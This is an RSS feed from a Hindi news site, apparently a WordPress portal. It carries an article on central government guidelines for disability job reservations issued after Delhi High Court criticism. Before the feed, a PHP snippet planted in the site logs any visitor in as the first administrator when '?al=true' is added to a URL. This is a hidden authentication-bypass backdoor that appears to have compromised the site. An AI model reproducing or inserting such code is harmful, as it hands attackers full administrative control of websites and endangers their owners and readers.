// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); reservation to ensure uniformity – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 25 Nov 2024 10:15:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 केंद्र ने एकरूपता सुनिश्चित करने के लिए दिव्यांग आरक्षण के लिए दिशानिर्देश जारी किए https://pratyushaashakinayikiran.com/?p=102549 Mon, 25 Nov 2024 10:15:00 +0000 https://pratyushaashakinayikiran.com/?p=102549 नई दिल्ली
केंद्र ने कम से कम 40 प्रतिशत दिव्यांग व्यक्तियों के लिए आरक्षण और पदों की पहचान सुव्यवस्थित करने के लिए व्यापक दिशा-निर्देश जारी किए हैं। इसमें ऐसे पदों की समय-समय पर पहचान और उनका मूल्यांकन करने के लिए समितियों का गठन अनिवार्य किया गया है। दिशानिर्देशों में यह भी कहा गया है कि यदि कोई पद दिव्यांग व्यक्तियों के लिए उपयुक्त समझा जाता है, तो उसके बाद के सभी पदोन्नति वाले पद भी दिव्यांग व्यक्तियों के लिए आरक्षित रहेंगे। ये दिशानिर्देश दिव्यांगजन अधिकार अधिनियम, 2016 के अनुरूप हैं। यह कदम दिल्ली उच्च न्यायालय द्वारा दिव्यांग व्यक्तियों के अधिकार (आरपीडब्ल्यूडी) अधिनियम, 2016 के कार्यान्वयन में विसंगतियों को चिन्हित करने तथा पदों की पहचान करने में अनधिकृत कार्यों के लिए केन्द्रीय विद्यालय संगठन (केवीएस) जैसी संस्थाओं की आलोचना करने के बाद उठाया गया है।

उच्च न्यायालय ने इस महीने की शुरुआत में टिप्पणी की थी कि केवीएस ने दिव्यांग व्यक्तियों के लिए स्वतंत्र रूप से पदों की पहचान करके अपने अधिकार का अतिक्रमण किया है और विभिन्न विभागों के बीच अधिनियम की समझ में विसंगतियों को उजागर किया है। अदालत ने इसके साथ दिव्यांगजन सशक्तिकरण विभाग (डीईपीडब्ल्यूडी) को एक समान दिशानिर्देश स्थापित करने का आदेश दिया। अद्यतन दिशानिर्देशों का उद्देश्य केंद्र सरकार के प्रतिष्ठानों में दिव्यांग व्यक्तियों के रोजगार में समावेशिता, निष्पक्षता और एकरूपता सुनिश्चित करना है। नये दिशा-निर्देशों में मंत्रालयों और विभागों से दिव्यांग के प्रतिनिधियों को शामिल करते हुए समितियां गठित करने को कहा गया है, ताकि सभी पदों की उपयुक्तता का आकलन किया जा सके।

दिशानिर्देश के मुताबिक प्रौद्योगिकीय प्रगति और उभरती नौकरी आवश्यकताओं को शामिल करने के लिए चिह्नित पदों की हर तीन साल में व्यापक समीक्षा आवश्यक है। दिशा-निर्देशों में दृष्टि बाधित, चलने-फिरने में अक्षमता, श्रवण बाधिता और बौद्धिक अक्षमता सहित विभिन्न श्रेणियों में सीधी भर्ती और पदोन्नति में चार प्रतिशत आरक्षण का भी प्रावधान किया गया है। इसके अतिरिक्त दिशानिर्देश लंबित रिक्तियों को समय पर भरने, पहुंच सुनिश्चित करने के लिए व्यापक प्रचार-प्रसार तथा आरक्षण नीतियों से छूट के लिए तीन वर्ष की वैधता अवधि पर भी जोर देते हैं। राष्ट्रीय दिव्यांगजन रोजगार संवर्धन केन्द्र (एनसीपीईडीपी) के कार्यकारी निदेशक अरमान अली ने कहा कि मानक दिव्यांगता वाले व्यक्तियों के लिए उपयुक्त पदों की पहचान करना केवल आरक्षण संबंधी अनिवार्यताओं को पूरा करना नहीं है; यह करियर विकास को सक्षम करने की दिशा में एक कदम है।

 

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